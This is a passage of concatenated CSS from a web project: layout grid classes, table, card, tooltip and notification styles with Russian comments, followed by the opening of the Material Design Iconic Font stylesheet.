max-width: 8.333333%; } .col-2 { -ms-flex: 0 0 16.666667%; flex: 0 0 16.666667%; max-width: 16.666667%; } .col-3 { -ms-flex: 0 0 25%; flex: 0 0 25%; max-width: 25%; } .col-4 { -ms-flex: 0 0 33.333333%; flex: 0 0 33.333333%; max-width: 33.333333%; } .col-5 { -ms-flex: 0 0 41.666667%; flex: 0 0 41.666667%; max-width: 41.666667%; } .col-6 { -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .col-7 { -ms-flex: 0 0 58.333333%; flex: 0 0 58.333333%; max-width: 58.333333%; } .col-8 { -ms-flex: 0 0 66.666667%; flex: 0 0 66.666667%; max-width: 66.666667%; } .col-9 { -ms-flex: 0 0 75%; flex: 0 0 75%; max-width: 75%; } .col-10 { -ms-flex: 0 0 83.333333%; flex: 0 0 83.333333%; max-width: 83.333333%; } .col-11 { -ms-flex: 0 0 91.666667%; flex: 0 0 91.666667%; max-width: 91.666667%; } .col-12 { -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } @media (min-width: 576px) { .container { max-width: 540px; } .col-sm { -ms-flex-preferred-size: 0; flex-basis: 0; -ms-flex-positive: 1; flex-grow: 1; max-width: 100%; } .col-sm-auto { -ms-flex: 0 0 auto; flex: 0 0 auto; width: auto; max-width: 100%; } .col-sm-1 { -ms-flex: 0 0 8.333333%; flex: 0 0 8.333333%; max-width: 8.333333%; } .col-sm-2 { -ms-flex: 0 0 16.666667%; flex: 0 0 16.666667%; max-width: 16.666667%; } .col-sm-3 { -ms-flex: 0 0 25%; flex: 0 0 25%; max-width: 25%; } .col-sm-4 { -ms-flex: 0 0 33.333333%; flex: 0 0 33.333333%; max-width: 33.333333%; } .col-sm-5 { -ms-flex: 0 0 41.666667%; flex: 0 0 41.666667%; max-width: 41.666667%; } .col-sm-6 { -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .col-sm-7 { -ms-flex: 0 0 58.333333%; flex: 0 0 58.333333%; max-width: 58.333333%; } .col-sm-8 { -ms-flex: 0 0 66.666667%; flex: 0 0 66.666667%; max-width: 66.666667%; } .col-sm-9 { -ms-flex: 0 0 75%; flex: 0 0 75%; max-width: 75%; } .col-sm-10 { -ms-flex: 0 0 83.333333%; flex: 0 0 83.333333%; max-width: 83.333333%; } .col-sm-11 { -ms-flex: 0 0 91.666667%; flex: 0 0 91.666667%; max-width: 91.666667%; } .col-sm-12 { -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } } @media (min-width: 768px) { .container { max-width: 720px; } .col-md { -ms-flex-preferred-size: 0; flex-basis: 0; -ms-flex-positive: 1; flex-grow: 1; max-width: 100%; } .col-md-auto { -ms-flex: 0 0 auto; flex: 0 0 auto; width: auto; max-width: 100%; } .col-md-1 { -ms-flex: 0 0 8.333333%; flex: 0 0 8.333333%; max-width: 8.333333%; } .col-md-2 { -ms-flex: 0 0 16.666667%; flex: 0 0 16.666667%; max-width: 16.666667%; } .col-md-3 { -ms-flex: 0 0 25%; flex: 0 0 25%; max-width: 25%; } .col-md-4 { -ms-flex: 0 0 33.333333%; flex: 0 0 33.333333%; max-width: 33.333333%; } .col-md-5 { -ms-flex: 0 0 41.666667%; flex: 0 0 41.666667%; max-width: 41.666667%; } .col-md-6 { -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .col-md-7 { -ms-flex: 0 0 58.333333%; flex: 0 0 58.333333%; max-width: 58.333333%; } .col-md-8 { -ms-flex: 0 0 66.666667%; flex: 0 0 66.666667%; max-width: 66.666667%; } .col-md-9 { -ms-flex: 0 0 75%; flex: 0 0 75%; max-width: 75%; } .col-md-10 { -ms-flex: 0 0 83.333333%; flex: 0 0 83.333333%; max-width: 83.333333%; } .col-md-11 { -ms-flex: 0 0 91.666667%; flex: 0 0 91.666667%; max-width: 91.666667%; } .col-md-12 { -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } } @media (min-width: 992px) { .container { max-width: 960px; } .col-lg { -ms-flex-preferred-size: 0; flex-basis: 0; -ms-flex-positive: 1; flex-grow: 1; max-width: 100%; } .col-lg-auto { -ms-flex: 0 0 auto; flex: 0 0 auto; width: auto; max-width: 100%; } .col-lg-1 { -ms-flex: 0 0 8.333333%; flex: 0 0 8.333333%; max-width: 8.333333%; } .col-lg-2 { -ms-flex: 0 0 16.666667%; flex: 0 0 16.666667%; max-width: 16.666667%; } .col-lg-3 { -ms-flex: 0 0 25%; flex: 0 0 25%; max-width: 25%; } .col-lg-4 { -ms-flex: 0 0 33.333333%; flex: 0 0 33.333333%; max-width: 33.333333%; } .col-lg-5 { -ms-flex: 0 0 41.666667%; flex: 0 0 41.666667%; max-width: 41.666667%; } .col-lg-6 { -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .col-lg-7 { -ms-flex: 0 0 58.333333%; flex: 0 0 58.333333%; max-width: 58.333333%; } .col-lg-8 { -ms-flex: 0 0 66.666667%; flex: 0 0 66.666667%; max-width: 66.666667%; } .col-lg-9 { -ms-flex: 0 0 75%; flex: 0 0 75%; max-width: 75%; } .col-lg-10 { -ms-flex: 0 0 83.333333%; flex: 0 0 83.333333%; max-width: 83.333333%; } .col-lg-11 { -ms-flex: 0 0 91.666667%; flex: 0 0 91.666667%; max-width: 91.666667%; } .col-lg-12 { -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } } @media (min-width: 1200px) { .container { max-width: 1140px; } .col-xl { -ms-flex-preferred-size: 0; flex-basis: 0; -ms-flex-positive: 1; flex-grow: 1; max-width: 100%; } .col-xl-auto { -ms-flex: 0 0 auto; flex: 0 0 auto; width: auto; max-width: 100%; } .col-xl-1 { -ms-flex: 0 0 8.333333%; flex: 0 0 8.333333%; max-width: 8.333333%; } .col-xl-2 { -ms-flex: 0 0 16.666667%; flex: 0 0 16.666667%; max-width: 16.666667%; } .col-xl-3 { -ms-flex: 0 0 25%; flex: 0 0 25%; max-width: 25%; } .col-xl-4 { -ms-flex: 0 0 33.333333%; flex: 0 0 33.333333%; max-width: 33.333333%; } .col-xl-5 { -ms-flex: 0 0 41.666667%; flex: 0 0 41.666667%; max-width: 41.666667%; } .col-xl-6 { -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .col-xl-7 { -ms-flex: 0 0 58.333333%; flex: 0 0 58.333333%; max-width: 58.333333%; } .col-xl-8 { -ms-flex: 0 0 66.666667%; flex: 0 0 66.666667%; max-width: 66.666667%; } .col-xl-9 { -ms-flex: 0 0 75%; flex: 0 0 75%; max-width: 75%; } .col-xl-10 { -ms-flex: 0 0 83.333333%; flex: 0 0 83.333333%; max-width: 83.333333%; } .col-xl-11 { -ms-flex: 0 0 91.666667%; flex: 0 0 91.666667%; max-width: 91.666667%; } .col-xl-12 { -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } } /* * Настройка таблиц */ .table-responsive { display: block; width: 100%; overflow-x: auto; -webkit-overflow-scrolling: touch; } .table { margin-bottom: 0; } .tb-name a { color: var(--default-text-color); } .tb-name { max-width: 160px; } .pointer { cursor: pointer } .pointer:hover a{ color: var(--span-color); } .table { width: 100%; margin-bottom: 0; color: var(--default-text-color); } .table td, .table th { padding: .65rem; vertical-align: middle; border-top: none; border-bottom: 1px solid var(--hover) } .table thead th { font-weight: var(--font-weight-2); font-size: 13px; text-transform: uppercase; color: var(--default-text-color); vertical-align: bottom; border-bottom: 2px solid var(--table-line); } .table tbody tr { font-weight: var(--font-weight-1); font-size: 13px; color: var(--default-text-color); } .table tbody tr .tb-type i{ font-size: 1.4em; color: var(--default-text-color); } .tabs-panel { float: left; } .table .selected { color: var(--span-color); } .table-hover tbody tr:hover { color: var(--default-text-color); background-color: var(--hover) } .table-header { width: 100%; float: left; } /* * Card блоки */ .card { position: relative; display: -ms-flexbox; display: flex; -ms-flex-direction: column; flex-direction: column; min-width: 0; word-wrap: break-word; background-clip: border-box; overflow: hidden; margin-bottom: 0px; background-color: var(--sidebar-color); } .icon{ margin-right: 5px; display: inline-block; } .icon svg, .icon img{ filter: invert(var(--svg)); margin-bottom: 4px; width: 16px; } .invert { filter: invert(var(--svg)); } .card-container{ margin: 25px; } .card-bottom{ margin-left: 25px; } .card .nav-tabs { margin-left: 10px; border-bottom: 0; font-weight: var(--font-weight-2); font-size: 14px; } .card .nav-tabs .nav-item.show .nav-link, .nav-tabs .nav-link.active { color: var(--span-color); background-color: inherit; border-color: inherit; } .card .nav-tabs .nav-item.show .nav-link, .nav-tabs .nav-link { color: var(--default-text-color); padding: .5rem 0rem; margin-left: 15px; } .card .nav-tabs .nav-link { border: 0; border-top-left-radius: inherit; border-top-right-radius: inherit; } .card .nav-tabs .nav-item.show .nav-link, .nav-tabs img { height: 24px; width: 24px; margin-bottom: 3px; } .card-block-big .info { color: var(--default-text-color); } .circle_map { border-radius: 50%; object-fit: cover; overflow: hidden; max-width: 32px; width: 32px; max-height: 32px; height: 32px; } .rounded-circle { border-radius: 50%; } .text-center { text-align: center; } .text-right { text-align: right; } .text-left { text-align: left; } .text_on_line { position: relative; z-index: 1; overflow: hidden; text-align: center; color: var(--default-text-color); } .text_on_line:before, .text_on_line:after { content: ''; display: inline-block; width: 100%; height: 1px; background: var(--top-text-color); z-index: -1; position: relative; vertical-align: middle; } .text_on_line:before { right: 15px; margin: 0 0 0 -100%; } .text_on_line:after { left: 15px; margin: 0 -100% 0 0; } /* * Всякого рода кастомки */ .plug { background-color: var(--sidebar-color); width: 100%; height: 100%; } .x_1 { position: absolute; bottom: -15px; left: -780px; background: var(--default-text-color); height: 200px; width: 65px; transform: rotate(40deg); animation-name: x_side; animation-duration: 20s; animation-iteration-count: infinite; animation-direction: alternate; z-index: 1; } .x_1:after { content: ""; position: absolute; top: 0; left: 0; margin: 0; background: var(--default-text-color); height: 200px; width: 65px; transform: rotate(90deg); z-index: 1; } @keyframes x_side { from { } to { margin-left: 245%; transform: rotate(210deg); } } .x_2 { position: absolute; bottom: -700px; left: 30%; background: var(--default-text-color); height: 700px; width: 250px; transform: rotate(40deg); animation-name: x_side_2; animation-duration: 34s; animation-iteration-count: infinite; animation-direction: alternate; z-index: 1; } .x_2:after { content: ""; position: absolute; top: 0; left: 0; margin: 0; background: var(--default-text-color); height: 700px; width: 250px; transform: rotate(90deg); z-index: 1; } @keyframes x_side_2 { from { } to { margin-bottom: 940px; transform: rotate(210deg); } } .x_1_invert { position: absolute; bottom: -25px; left: -135px; background: var(--default-text-color); height: 200px; width: 65px; transform: rotate(40deg); animation-name: x_side_invert; animation-duration: 20s; animation-iteration-count: infinite; animation-direction: alternate; z-index: 1; } .x_1_invert:after { content: ""; position: absolute; top: 0; left: 0; margin: 0; background: var(--default-text-color); height: 200px; width: 65px; transform: rotate(90deg); z-index: 1; } @keyframes x_side_invert { from { } to { margin-left: 308%; transform: rotate(210deg); } } /* * tooltip */ [data-tooltip], .tooltip { position: relative; } [data-tooltip]:before, [data-tooltip]:after, .tooltip:before, .tooltip:after { position: absolute; visibility: hidden; -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=0); opacity: 0; -webkit-transform: translate3d(0, 0, 0); -moz-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); pointer-events: none } [data-tooltip]:hover:before, [data-tooltip]:hover:after, [data-tooltip]:focus:before, [data-tooltip]:focus:after, .tooltip:hover:before, .tooltip:hover:after, .tooltip:focus:before, .tooltip:focus:after { visibility: visible; -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=100); opacity: 1 } .tooltip:before, [data-tooltip]:before { z-index: 1001; border: 6px solid transparent; background: transparent; content: "" } .tooltip:after, [data-tooltip]:after { z-index: 1000; padding: 8px; width: auto; background-color: var(--default-text-color); color: var(--sidebar-color); content: attr(data-tooltip); font-size: 14px; font-weight: 500; line-height: 1.2; white-space: nowrap } .tooltip-sidebar{ display: none; position: absolute; background: var(--default-text-color); border-radius: 2px; color: var(--sidebar-color); padding: 7px; padding-left: 10px; z-index: 10000; } .tooltip-sidebar::after{ content: ''; position: absolute; left: -3px; top: 10px; width: 12px; height: 12px; background: var(--default-text-color); transform: rotate(45deg); z-index: 9999; } [data-tooltip]:before, [data-tooltip]:after, .tooltip:before, .tooltip:after, .tooltip-top:before, .tooltip-top:after { bottom: 100%; left: 0%; } [data-tooltip]:hover:before, [data-tooltip]:hover:after, [data-tooltip]:focus:before, [data-tooltip]:focus:after, .tooltip:hover:before, .tooltip:hover:after, .tooltip:focus:before, .tooltip:focus:after, .tooltip-top:hover:before, .tooltip-top:hover:after, .tooltip-top:focus:before, .tooltip-top:focus:after { -webkit-transform: translateY(-12px); -moz-transform: translateY(-12px); transform: translateY(-12px); } .tooltip-left:before, .tooltip-left:after { right: 100%; bottom: 50%; left: auto; } .tooltip-left:before { margin-left: 0; margin-right: -12px; margin-bottom: 0; border-top-color: transparent; border-left-color: var(--default-text-color) } .tooltip-left:hover:before, .tooltip-left:hover:after, .tooltip-left:focus:before, .tooltip-left:focus:after { -webkit-transform: translateX(-12px); -moz-transform: translateX(-12px); transform: translateX(-12px); } .tooltip-bottom:before, .tooltip-bottom:after { top: 90%; bottom: auto; left: 0%; } .tooltip-bottom:before { margin-top: -12px; margin-left: 24px; margin-bottom: 0; border-bottom-color: transparent; border-bottom-color: var(--default-text-color) } .tooltip-bottom:hover:before, .tooltip-bottom:hover:after, .tooltip-bottom:focus:before, .tooltip-bottom:focus:after { -webkit-transform: translateY(12px); -moz-transform: translateY(12px); transform: translateY(12px); } @media (max-width: 575.98px) { ::-webkit-scrollbar{ background-color: var(--hover); width:3px; } .card-header{ margin-left: 15px; margin-top: 15px; margin-bottom: 15px; } .badge { padding: .6em .6em; } .card h5 { font-weight: var(--font-weight-2); font-size: 10px; } .select-panel select { font-weight: var(--font-weight-2); font-size: 7px; } .table thead th { font-size: 9px; font-weight: var(--font-weight-3) } .table tbody th { padding: .4rem; font-size: 8px; font-weight: var(--font-weight-2); } th img { max-width: 28px; max-height: 16px } .tb-avatar, .tb-game { display: none; } .tb-hs, .tb-time, .tb-time-two, .tb-death { display: none; } } @media (min-width: 576px) and (max-width: 767.98px) { ::-webkit-scrollbar{ background-color: var(--hover); width:4px; } .card-header{ margin-left: 15px; margin-top: 15px; margin-bottom: 12px; } .card h5 { font-weight: var(--font-weight-2); font-size: 12px; } .select-panel select { font-weight: var(--font-weight-2); font-size: 9px; } .table thead th { font-size: 9px; font-weight: var(--font-weight-3) } .tb-time-two { display: none; } .table tbody th { padding: .4rem; font-size: 9px; font-weight: var(--font-weight-2); } th img { max-width: 43px; max-height: 15px } .tb-avatar, .tb-game { display: none; } } @media (min-width: 768px) and (max-width: 991.98px) { ::-webkit-scrollbar{ background-color: var(--hover); width:4px; } .card-header{ margin-left: 15px; margin-top: 15px; margin-bottom: 12px; } .card h5 { font-weight: var(--font-weight-2); font-size: 13px; } .select-panel select { font-weight: var(--font-weight-2); font-size: 11px; } .table thead th { font-size: 9px; font-weight: var(--font-weight-3) } .tb-time-two { display: none; } .table tbody th { font-size: 10px; font-weight: var(--font-weight-2); } th img { max-width: 52px; max-height: 18px } .tb-game { display: none; } } @media (min-width: 992px) and (max-width: 1199.98px) { ::-webkit-scrollbar{ background-color: var(--hover); width:5px; } .card-header{ margin-left: 15px; margin-top: 15px; margin-bottom: 12px; } .card h5 { font-weight: var(--font-weight-2); font-size: 15px; } .select-panel select { font-weight: var(--font-weight-2); font-size: 13px; } .table thead th { font-size: 10px; font-weight: var(--font-weight-3) } .tb-time-two { display: none; } .table tbody th { font-size: 11px; font-weight: var(--font-weight-2); } th img { max-width: 52px; max-height: 18px } } @media (min-width: 1200px) and (max-width: 1499.98px) { ::-webkit-scrollbar{ background-color: var(--hover); width:6px; } .card-header{ margin-left: 15px; margin-top: 15px; margin-bottom: 12px; } .card h5 { font-weight: var(--font-weight-2); font-size: 15px; } .select-panel select { font-weight: var(--font-weight-2); font-size: 13px; } .table thead th { font-size: 14px; font-weight: var(--font-weight-3) } .tb-time-two { display: none; } .table tbody th { font-size: 12px; font-weight: var(--font-weight-2); } th img { max-width: 55px; max-height: 22px } } @media (min-width: 1500px) { ::-webkit-scrollbar{ background-color: var(--hover); width:7px; } .card-header{ margin-left: 15px; margin-top: 15px; margin-bottom: 12px; } .card h5 { font-weight: var(--font-weight-2); font-size: 15px; } .select-panel select { font-weight: var(--font-weight-2); font-size: 13px; } .table thead th { font-size: 14px; font-weight: var(--font-weight-3) } .table tbody th { font-size: 14px; font-weight: var(--font-weight-2); } th img { max-width: 61px; max-height: 24px } } .unshow { display: none; } #notes { position: fixed; top: 4em; right: 5px; cursor: default; transition: height .45s ease-in-out; -webkit-transition: height .45s ease-in-out; pointer-events: none; z-index: 1001; } #notes .note-item { max-height: 12em; border-radius: 5px; opacity: 1; will-change: opacity, transform; transition: all .2s linear; -webkit-transition: all .2s linear; backface-visibility: hidden; -webkit-backface-visibility: hidden; -moz-backface-visibility: hidden; -ms-backface-visibility: hidden; width: 50vw; -webkit-touch-callout: none; user-select: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; -o-user-select: none; z-index: 1002; pointer-events: auto; display: -webkit-box; display: -webkit-flex; display: -moz-flex; display: -ms-flex; display: -ms-flexbox; display: flex; -webkit-align-content: flex-start; -ms-flex-line-pack: start; align-content: flex-start; -webkit-box-align: start; -ms-flex-align: start; -webkit-align-items: flex-start; -moz-align-items: flex-start; align-items: flex-start; -webkit-align-content: flex-start; -ms-flex-line-pack: start; align-content: flex-start; max-width: 20em; font: inherit; line-height: 1.25em; color: #fff; margin: 0 auto 3px auto; transform: translateZ(0); -moz-transform: translateZ(0); -ms-transform: translateZ(0); -webkit-transform: translateZ(0); padding: .75em 1em; } @media all and (max-width: 30em) { #notes .note-item { width: 75vw; max-width: none; } } #notes .note-item[data-show="false"] { pointer-events: none; opacity: 0; max-height: 0; margin-bottom: 0; } #notes .note-item[data-type="info"] { background-color: #375e97; } #notes .note-item[data-type="warn"] { background-color: var(--span-color); animation: shake 0.9s cubic-bezier(0.36, 0.07, 0.19, 0.97) both; -webkit-animation: shake 0.9s cubic-bezier(0.36, 0.07, 0.19, 0.97) both; } #notes .note-item[data-type="error"] { background-color: #fb6542; animation: shake 0.54s cubic-bezier(0.36, 0.07, 0.19, 0.97) both; -webkit-animation: shake 0.54s cubic-bezier(0.36, 0.07, 0.19, 0.97) both; } #notes .note-item[data-type="success"] { background-color: #009d09; } #notes .note-item .note-item-text { flex: auto; -webkit-flex: auto; -moz-flex: auto; -ms-flex: auto; padding-right: .5em; max-width: calc(100% - 1.25em); max-width: -webkit-calc(100% - 1.25em); } #notes .note-item .note-item-btn { width: 0.25em; height: 1.25em; position: absolute; right: 5px; bottom: 15px; cursor: pointer; background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48c3ZnIHZlcnNpb249IjEuMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgeD0iMHB4IiB5PSIwcHgiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiB4bWw6c3BhY2U9InByZXNlcnZlIiBmaWxsPSIjZmZmIj48cGF0aCBkPSJNMTguMyw1LjcxTDE4LjMsNS43MWMtMC4zOS0wLjM5LTEuMDItMC4zOS0xLjQxLDBMMTIsMTAuNTlMNy4xMSw1LjdjLTAuMzktMC4zOS0xLjAyLTAuMzktMS40MSwwbDAsMCBjLTAuMzksMC4zOS0wLjM5LDEuMDIsMCwxLjQxTDEwLjU5LDEyTDUuNywxNi44OWMtMC4zOSwwLjM5LTAuMzksMS4wMiwwLDEuNDFoMGMwLjM5LDAuMzksMS4wMiwwLjM5LDEuNDEsMEwxMiwxMy40MWw0Ljg5LDQuODkgYzAuMzksMC4zOSwxLjAyLDAuMzksMS40MSwwbDAsMGMwLjM5LTAuMzksMC4zOS0xLjAyLDAtMS40MUwxMy40MSwxMmw0Ljg5LTQuODlDMTguNjgsNi43MywxOC42OCw2LjA5LDE4LjMsNS43MXoiLz48L3N2Zz4=) no-repeat 0 0/contain; transition: opacity .2s; -webkit-transition: opacity .2s; } #notes .note-item .note-item-btn:hover { opacity: .6; } @keyframes shake { 10%, 90% { transform: translate3d(-1px, 0, 0); -webkit-transform: translate3d(-1px, 0, 0); -ms-transform: translate3d(-1px, 0, 0); } 20%, 80% { transform: translate3d(2px, 0 0); -webkit-transform: translate3d(2px, 0, 0); -ms-transform: translate3d(2px, 0, 0); } 30%, 50%, 70% { transform: translate3d(-4px, 0, 0); -webkit-transform: translate3d(-4px, 0, 0); -ms-transform: translate3d(-4px, 0, 0); } 40%, 60% { transform: translate3d(4px, 0, 0); -webkit-transform: translate3d(4px, 0, 0); -ms-transform: translate3d(4px, 0, 0); } } @-webkit-keyframes shake { 10%, 90% { -webkit-transform: translate3d(-1px, 0, 0); } 20%, 80% { -webkit-transform: translate3d(2px, 0, 0); } 30%, 50%, 70% { -webkit-transform: translate3d(-4px, 0, 0) t; } 40%, 60% { -webkit-transform: translate3d(4px, 0, 0); } } .menu .nav a { color: var(--default-text-color); margin-left: 15px; outline: none; } .menu .nav li { display: block; width: 100%; padding: 10px; cursor: pointer; font-weight: var(--font-weight-3); font-size: 12px; } .menu .nav li:hover { color: var(--default-text-color); background-color: var(--hover); } .menu .nav .active { color: var(--default-text-color); background-color: var(--hover); } ================================================ FILE: storage/assets/css/vendors/material-design-iconic-font/css/material-design-iconic-font.css ================================================ /*! * Material Design Iconic Font by Sergey Kupletsky (@zavoloklom) - http://zavoloklom.github.io/material-design-iconic-font/ * License - http://zavoloklom.github.io/material-design-iconic-font/license (Font: SIL OFL 1.1, CSS: MIT License) */ @font-face { font-family: 'Material-Design-Iconic-Font'; src: url('../fonts/Material-Design-Iconic-Font.woff2?v=2.2.0') format('woff2'), url('../fonts/Material-Design-Iconic-Font.woff?v=2.2.0') format('woff'), url('../fonts/Material-Design-Iconic-Font.ttf?v=2.2.0') format('truetype'); font-weight: normal; font-style: normal; } .zmdi { display: inline-block; font: normal normal normal 14px/1 'Material-Design-Iconic-Font'; font-size: inherit; text-rendering: auto; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .zmdi-hc-lg { font-size: 1.33333333em; line-height: 0.75em; vertical-align: -15%; } .zmdi-hc-2x { font-size: 2em; } .zmdi-hc-3x { font-size: 3em; } .zmdi-hc-4x { font-size: 4em; } .zmdi-hc-5x { font-size: 5em; } .zmdi-hc-fw { width: 1.28571429em; text-align: center; } .zmdi-hc-ul { padding-left: 0; margin-left: 2.14285714em; list-style-type: none; } .zmdi-hc-ul > li { position: relative; } .zmdi-hc-li { position: absolute; left: -2.14285714em; width: 2.14285714em; top: 0.14285714em; text-align: center; } .zmdi-hc-li.zmdi-hc-lg { left: -1.85714286em; } .zmdi-hc-border { padding: .1em .25em; border: solid 0.1em #9e9e9e; border-radius: 2px; } .zmdi-hc-border-circle { padding: .1em .25em; border: solid 0.1em #9e9e9e; border-radius: 50%; } .zmdi.pull-left { float: left; margin-right: .15em; } .zmdi.pull-right { float: right; margin-left: .15em; } .zmdi-hc-spin { -webkit-animation: zmdi-spin 1.5s infinite linear; animation: zmdi-spin 1.5s infinite linear; } .zmdi-hc-spin-reverse { -webkit-animation: zmdi-spin-reverse 1.5s infinite linear; animation: zmdi-spin-reverse 1.5s infinite linear; } @-webkit-keyframes zmdi-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg); } } @keyframes zmdi-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg); } } @-webkit-keyframes zmdi-spin-reverse { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(-359deg); transform: rotate(-359deg); } } @keyframes zmdi-spin-reverse { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(-359deg); transform: rotate(-359deg); } } .zmdi-hc-rotate-90 { -webkit-transform: rotate(90deg); -ms-transform: rotate(90deg); transform: rotate(90deg); } .zmdi-hc-rotate-180 { -webkit-transform: rotate(180deg); -ms-transform: rotate(180deg); transform: rotate(180deg); } .zmdi-hc-rotate-270 { -webkit-transform: rotate(270deg); -ms-transform: rotate(270deg); transform: rotate(270deg); } .zmdi-hc-flip-horizontal { -webkit-transform: scale(-1, 1); -ms-transform: scale(-1, 1); transform: scale(-1, 1); } .zmdi-hc-flip-vertical { -webkit-transform: scale(1, -1); -ms-transform: scale(1, -1); transform: scale(1, -1); } .zmdi-hc-stack { position: relative; display: inline-block; width: 2em; height: 2em; line-height: 2em; vertical-align: middle; } .zmdi-hc-stack-1x, .zmdi-hc-stack-2x { position: absolute; left: 0; width: 100%; text-align: center; } .zmdi-hc-stack-1x { line-height: inherit; } .zmdi-hc-stack-2x { font-size: 2em; } .zmdi-hc-inverse { color: #ffffff; } /* Material Design Iconic Font uses the Unicode Private Use Area (PUA) to ensure screen readers do not read off random characters that represent icons */ .zmdi-3d-rotation:before { content: '\f101'; } .zmdi-airplane-off:before { content: '\f102'; } .zmdi-airplane:before { content: '\f103'; } .zmdi-album:before { content: '\f104'; } .zmdi-archive:before { content: '\f105'; } .zmdi-assignment-account:before { content: '\f106'; } .zmdi-assignment-alert:before { content: '\f107'; } .zmdi-assignment-check:before { content: '\f108'; } .zmdi-assignment-o:before { content: '\f109'; } .zmdi-assignment-return:before { content: '\f10a'; } .zmdi-assignment-returned:before { content: '\f10b'; } .zmdi-assignment:before { content: '\f10c'; } .zmdi-attachment-alt:before { content: '\f10d'; } .zmdi-attachment:before { content: '\f10e'; } .zmdi-audio:before { content: '\f10f'; } .zmdi-badge-check:before { content: '\f110'; } .zmdi-balance-wallet:before { content: '\f111'; } .zmdi-balance:before { content: '\f112'; } .zmdi-battery-alert:before { content: '\f113'; } .zmdi-battery-flash:before { content: '\f114'; } .zmdi-battery-unknown:before { content: '\f115'; } .zmdi-battery:before { content: '\f116'; } .zmdi-bike:before { content: '\f117'; } .zmdi-block-alt:before { content: '\f118'; } .zmdi-block:before { content: '\f119'; } .zmdi-boat:before { content: '\f11a'; } .zmdi-book-image:before { content: '\f11b'; } .zmdi-book:before { content: '\f11c'; } .zmdi-bookmark-outline:before { content: '\f11d'; } .zmdi-bookmark:before { content: '\f11e'; } .zmdi-brush:before { content: '\f11f'; } .zmdi-bug:before { content: '\f120'; } .zmdi-bus:before { content: '\f121'; } .zmdi-cake:before { content: '\f122'; } .zmdi-car-taxi:before { content: '\f123'; } .zmdi-car-wash:before { content: '\f124'; } .zmdi-car:before { content: '\f125'; } .zmdi-card-giftcard:before { content: '\f126'; } .zmdi-card-membership:before { content: '\f127'; } .zmdi-card-travel:before { content: '\f128'; } .zmdi-card:before { content: '\f129'; } .zmdi-case-check:before { content: '\f12a'; } .zmdi-case-download:before { content: '\f12b'; } .zmdi-case-play:before { content: '\f12c'; } .zmdi-case:before { content: '\f12d'; } .zmdi-cast-connected:before { content: '\f12e'; } .zmdi-cast:before { content: '\f12f'; } .zmdi-chart-donut:before { content: '\f130'; } .zmdi-chart:before { content: '\f131'; } .zmdi-city-alt:before { content: '\f132'; } .zmdi-city:before { content: '\f133'; } .zmdi-close-circle-o:before { content: '\f134'; } .zmdi-close-circle:before { content: '\f135'; } .zmdi-close:before { content: '\f136'; } .zmdi-cocktail:before { content: '\f137'; } .zmdi-code-setting:before { content: '\f138'; } .zmdi-code-smartphone:before { content: '\f139'; } .zmdi-code:before { content: '\f13a'; } .zmdi-coffee:before { content: '\f13b'; } .zmdi-collection-bookmark:before { content: '\f13c'; } .zmdi-collection-case-play:before { content: '\f13d'; } .zmdi-collection-folder-image:before { content: '\f13e'; } .zmdi-collection-image-o:before { content: '\f13f'; } .zmdi-collection-image:before { content: '\f140'; } .zmdi-collection-item-1:before { content: '\f141'; } .zmdi-collection-item-2:before { content: '\f142'; } .zmdi-collection-item-3:before { content: '\f143'; } .zmdi-collection-item-4:before { content: '\f144'; } .zmdi-collection-item-5:before { content: '\f145'; } .zmdi-collection-item-6:before { content: '\f146'; } .zmdi-collection-item-7:before { content: '\f147'; } .zmdi-collection-item-8:before { content: '\f148'; } .zmdi-collection-item-9-plus:before { content: '\f149'; } .zmdi-collection-item-9:before { content: '\f14a'; } .zmdi-collection-item:before { content: '\f14b'; } .zmdi-collection-music:before { content: '\f14c'; } .zmdi-collection-pdf:before { content: '\f14d'; } .zmdi-collection-plus:before { content: '\f14e'; } .zmdi-collection-speaker:before { content: '\f14f'; } .zmdi-collection-text:before { content: '\f150'; } .zmdi-collection-video:before { content: '\f151'; } .zmdi-compass:before { content: '\f152'; } .zmdi-cutlery:before { content: '\f153'; } .zmdi-delete:before { content: '\f154'; } .zmdi-dialpad:before { content: '\f155'; } .zmdi-dns:before { content: '\f156'; } .zmdi-drink:before { content: '\f157'; } .zmdi-edit:before { content: '\f158'; } .zmdi-email-open:before { content: '\f159'; } .zmdi-email:before { content: '\f15a'; } .zmdi-eye-off:before { content: '\f15b'; } .zmdi-eye:before { content: '\f15c'; } .zmdi-eyedropper:before { content: '\f15d'; } .zmdi-favorite-outline:before { content: '\f15e'; } .zmdi-favorite:before { content: '\f15f'; } .zmdi-filter-list:before { content: '\f160'; } .zmdi-fire:before { content: '\f161'; } .zmdi-flag:before { content: '\f162'; } 